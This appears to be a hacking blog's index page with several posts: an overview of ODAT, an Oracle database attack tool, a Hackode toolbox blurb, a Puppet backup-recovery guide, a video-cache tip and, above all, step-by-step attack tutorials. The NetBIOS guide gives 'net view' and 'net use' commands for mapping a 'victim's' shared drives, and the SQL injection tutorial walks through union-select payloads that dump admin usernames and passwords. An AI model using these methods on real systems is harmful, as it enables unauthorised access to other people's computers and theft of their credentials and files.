Oracle Database Attacking Tool [ODAT - To Penetrate Oracle Database]

Oracle Database Attacking Tool ODAT To Penetrate Oracle Database. Its an open source penetration testing tool that test Oracle database security as remotely. Its run on Linux platform. 

You have an Oracle database listening remotely and want to find valid SIDs and credentials in order to connect to the database
You have a valid Oracle account on a database and want to escalate your privileges (ex: SYSDBA)
You have a valid Oracle account and want to execute commands on the operating system hosting this DB (ex: reverse shell)
Search valid SID on a remote Oracle Database listener via: 
a dictionary attack
a brute force attack 
ALIAS of the listener 

Search Oracle accounts using:
a dictionary attack
each Oracle user like the password (need an account before to use this attack)

Execute system commands on the database server using:
DBMS_SCHEDULER
JAVA
external tables
oradbg

Download files stored on the database server using:
UTL_FILE
external tables
CTXSYS

Upload files on the database server using:
UTL_FILE
DBMS_XSLPROCESSOR
DBMS_ADVISOR

Delete files using:
UTL_FILE

Send/reveive HTTP requests from the database server using:
UTL_HTTP
HttpUriType

Scan ports of the local server or a remote server using:
UTL_HTTP
HttpUriType
UTL_TCP

Exploit the CVE-2012-313 (http://cvedetails.com/cve/2012-3137)
pickup the session key and salt for arbitrary users
attack by dictionary on sessions.

Development version installed on your computer, these following tool and dependencies are needed:

• Langage: Python 2.7 
• Oracle dependencies
• Instant Oracle basic 
• Instant Oracle sdk 
• Python libraries 
• cx_Oracle 
• colorlog (recommended) 
• termcolor (recommended) 
• argcomplete (recommended) 
• pyinstaller (recommended)

Download:

ODAT 32 Bit
ODAT 64 Bit

Read more

The Hackers Toolbox App [Hackode]

Download Now

Hackode : The hacker's Toolbox is an application for penetration tester, Ethical hackers, IT administrator and Cyber security professional to perform different tasks like reconnaissance, scanning performing exploits etc.

This Application contains different tools like:-

* Reconnaissance
* Google Hacking
* Google Dorks
* Whois
* Scanning
* Ping
* Traceroute
* DNS lookup
* IP
* MX Records
* DNS Dig
* Exploits
* Security Rss Feed

This Application is still in beta version. It will be releasing soon its full version with some more better tools and utilities. Stay tuned for more updates.

Download Now

Read more

How Puppet Recovering Overwritten Files ?

Puppet Recovering Overwritten Files/ We all know the benefit of using Puppet in managing huge IT infrastructures. Puppet Master will be used to send configuration or desired state of puppet agents or clients or servers we wish to manage using manifests.

The alarming thing is that puppet default behavior is to overwrite the files, if the file already exists on the puppet agent machine. Which is sometimes good, sometimes bad (if we had deleted or overwritten a right file, wrongly).

This can be real disastrous, in any production environment.

There must be a way in puppet recovering overwritten files.

Puppet creates a backup copy of any file it changes, and stores it on the machine in a place called the clientbucket – /var/lib/puppet/clientbucket – to be precise. This can be handy if you ever accidentally overwrite an important file, and want to retrieve its original contents.

Step: 1 

I created a puppet manifest. A file resource which will be creating a file /tmp/bucket.txt with some sample text. Consider this text as very important for your production server. So here I am applying the manifest for the first time. Which will create the original and right file at the right place. The original contents here are – “This is backed up under clientbucket, if overwritten”.

Original File created by puppet

Step: 2

Now, I am intentionally, editing (consider it by accident) the original file /tmp/bucket.txt using puppet manifest. Creating a scenario that the original file is overwritten, by mistake.

Editing the original file, using puppet

Step: 3

Now after applying the new puppet manifest using puppet apply testbucket.pp, the original file /tmp/bucket.txt is overwritten by our fake or wrong contents, leading to non desired results on our Linux servers. You can see the new line – “Overwriting now” appended in the file.

Overwritten file by puppet

Step: 4

Now comes the challenge. We want our original file back. We already learned that puppet, by default, make a backup of all overwritten files under a location – clientbucket – /var/lib/puppet/clientbucket. So if I go under – /var/lib/puppet/clientbucket and do a grep for the word “bucket” (which was there in the original file). I should be able to get the original contents.

Recovering overwritten file from /var/lib/puppet/clientbucket

Step: 5

Now GEEKS !! Once you know the exact location, you can go in the path displayed and recover the original file and simply use the cp command to copy it in the original location.

Copy the contents from client bucket to original location

Step: 6

This is indeed a good Puppet hack to know. But in case you don’t want, think twice that you really don’t want. You don’t want puppet to create a backup copy of the file under – /var/lib/puppet/clientbucket. That simply means you cannot recover it in case of accidental modification.

You can still tell puppet not to create backup of any overwritten file by using – backup => false – argument within the file resource.

Configuring puppet not to create backup

Read more

A Network hack [Netbios Hacking]

This Netbios Hacking guide will tell you about hacking remote computer and gaining access to its hard disk or printer .Netbios hack is the easiest way to break into a remote computer  

Step 1: Open command prompt

Step 2: In the command prompt use the “net view” command
( OR YOU CAN ALSO USE “NB Scanner” OPTION IN “IP-TOOLS” SOFTWARE BY ENTERING RANGE OF IP ADDRESSS.BY THIS METHOD YOU CAN SCAN NUMBER OF COMPUTERS AT A TIME).

Example: C:>net view \59.43.45.212

The above is an example for operation using command prompt.”net view” is one of the netbios command to view the shared resources of the remote computer.Here “59.43.45.212? is an IP address of remote computer that is to be hacked through Netbios.You have to substitute a vlaid IP address in it’s place.If succeeded a list of HARD-DISK DRIVES & PRINTERS are shown.If not an error message is displayed. So repeat the procedure 2 with a different IP address.

Step 3: After succeeding, use the “net use” command in the command prompt.The “net use” is another netbios command which makes it possible to hack remote drives or printers.

Example-1:
C:>net use D: \59.43.45.212F
Example-2:
C:>net use G: \59.43.45.212SharedDocs
Example-3: 
C:>net use I: \59.43.45.212Myprint


NOTE: In Examples 1,2 & 3, D:,G: & I: are the Network Drive Names that are to be created on your computer to access remote computer’s hard-disk.

NOTE: GIVE DRIVE NAMES THAT ARE NOT USED BY ANY OTHER DRIVES INCLUDING HARD-DISK DRIVES,FLOPPY DRIVES AND ROM-DRIVES ON YOUR COMPUTER.THAT IS IF YOU HAVE C: & D: AS HARD DIRVES, A: AS FLOPPY DIVE AND E: AS CD-DRIVE, GIVE F: AS YOUR SHARED DRIVE IN THE COMMAND PROMPT

F:,”SharedDocs” are the names of remote computer’s hard-disk’s drives that you want to hack. “Myprint” is the name of remote computer’s printer.These are displayed after giving “net use” command. “59.43.45.212? is the IP address of remote computer that you want to hack.

Step 4: After succeeding your computer will give a message that “The command completed successfully“. Once you get the above message you are only one step away from hacking the computer.
[ad code=1 align=center]
Now open “My Computer” you will see a new “Hard-Disk drive”(Shared) with the specified name.You can open it and access remote computer’s Hard-Drive.You can copy files,music,folders etc. from victim’s hard-drive.You can delete/modify data on victim’s hard-drive only if WRITE-ACCESS is enabled on victim’s system.You can access filesfolders quickly through “Command Prompt”.

NOTE: If Remote Computer’s Firewall Is Enabled Your Computer Will Not Succeed In Gaining Access To Remote Computer Through Netbios.That is Netbios Hacking Is Not Possible In This Situation.(An Error Message Is Displayed).So Repeat The Procedure 2,3 With Different IP Address.

Read more

Automatically Save the Watched/Streamed Video on your Computer without Downloading It

Ever came across a situation that makes you feel lazy after watching a video on Youtube or any other site to Download and Save it on your computer?Are you facing any problem while downloading a video from a site with no Download buttons?Do you want to Download the Flash (.swf) files from a site?Do you want to save a video copy of Live Streaming channels?How To Save Video Files Played On Browser without downloading?

If your answer is "Yes" then this post will help you a lot To Automatically Save The Watched/Streamed Video on your Computer without Download it.

This all problems can be solved by using a software called "Video cache View".It is developed by Nirsoft.net

How Video Cache View works?

When we watch some videos on youtube or other sites they are temporarily stored in our web browser's cache.They can be extracted from the cache folder but it's complicated.This software (Video Cache View) automatically extracts the videos from our browsers and provides us an option to save the video file on our local storage (computer).It works finely on Most browsers like Mozilla Firefox ,Google Chrome, Internet Explore,Opera,etc.The file will be saved in FLV format and it can be played using VLC media Player.

How to Save Online Watched Videos in your Computer without Downloading them :-

1.Download the Video Cache View software from here. (if you want older versions or in other languages or in zip format download it from here )

2.Open the downloaded file and install it.

3.Now play the video on youtube or any othersite.

4. Open Video cache view software and it will show the files that are in our Browser's cache

5.Select the file you want to save in your computer.

6.Right click on the file you want to save and click "copy selected files to".

7.A Dialog box will appear asking you to set the destination folder for saving your files.

8.That's it your video file had been saved in your specified directory.Just open it with VLC media player and enjoy playing the Streamed Video on your Computer without Download it.

Note : After watching a video online ,If you happend to clear your browser's cache then you can't download that video.

Read more

SQL Injection Tutorial

There are many types  of  sql injection  but in this tutorial I will  explain how you can extract  columns  ,tables containing useful data such as passwords ,user id , emails , admin pass and id ..  etc

Exploiting The Vulnerability

Now say we have found a vulnerable site add  ‘  at the end of the url and if it returns with a

Error message then the site is vulnerable 


Example:-

www.vulnarable site.net/articles.php?id =1  ‘

 Now we need to find  the number of columns in current table
 For this we use “order by” commond  Add order by 1 -- 
 To the end of the url . Increase the numbers till we get a error message 


Example:-

www.vulnarable site.net/articles.php?id =1 order by 1--

www.vulnarable site.net/articles.php?id =1  order by 2--

www.vulnarable site.net/articles.php?id =1  order by 3--

www.vulnarable site.net/articles.php?id =1  order by 4--

www.vulnarable site.net/articles.php?id =1  order by 5 --

And so on till we get a error message 


Say we get a error message when we enter order by 5 --
Then number of columns in data base is 4 


Now we use the “ union all select “ commond to find the vulnerable column
Add union all select + the number of columns that we found in the last step


Example:-

www.vulnarable site.net/articles.php?id =1 union all select 1,2,3,4  --

Now we should we should find some numbers popping out 
Say we find one number 3 then column 3 is vulnerable



We can  find the database version, name and user. We do this by replacing the vulnerable column numbers with the following commands:

user()  , database(),version(),@@user,@@version,@@database

First thing is to find the  version of Mysql we add “@@ version “replacing the vulnerable column


Example:-

www.vulnarable site.net/articles.php?id =1  union all select 1,2,@@version ,4 --

Now we must see the version of  Msql at place where the number popped out in the previous step .If it is above 5  continue reading . If it is 4 and below then you have to brute force or guess the table and column names .

Now we need to find  all the table names in the database. To do this we use the following commands


table_name  ,information_schema.tables


Example:- 

www.vulnarable site.net/articles.php?id =1 Union all select 1,2,table_name,4 from information_schema.tables --

Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as admin tables or member or user tables. And so on


Now  we must find all the column names in the database, to do this we use the following command “group_concat(column_name) “,


Example:-

www.vulnerable site.net/articles.php?id =1 Union all select 1,2,group_concat(column_name) ,4 from information_schema.columns --

 Now  look for interesting names such as user name ,id ,email and password.
And so on 


Finally we need to dump the data from the columns corresponding to the tables  
For this we use the following  command group_concat
 Now  say we want to get the “user id“ ,"username" and "password" fields, from table "admin"  we use group_concat command
  

Example:-

www.vulnerable site.net/articles.php?id =1 Union all select 1,2,group_concat(user id ,0x3a, username,0x3a,password),4 from admin--

If the command is successful  we must find the user id , user name , password


Example :-

1 .   admin : pass 
2 .   user    : password

Most of the times the passwords are cyrpted to crack them refer my posts on Hashes and Salts

Read more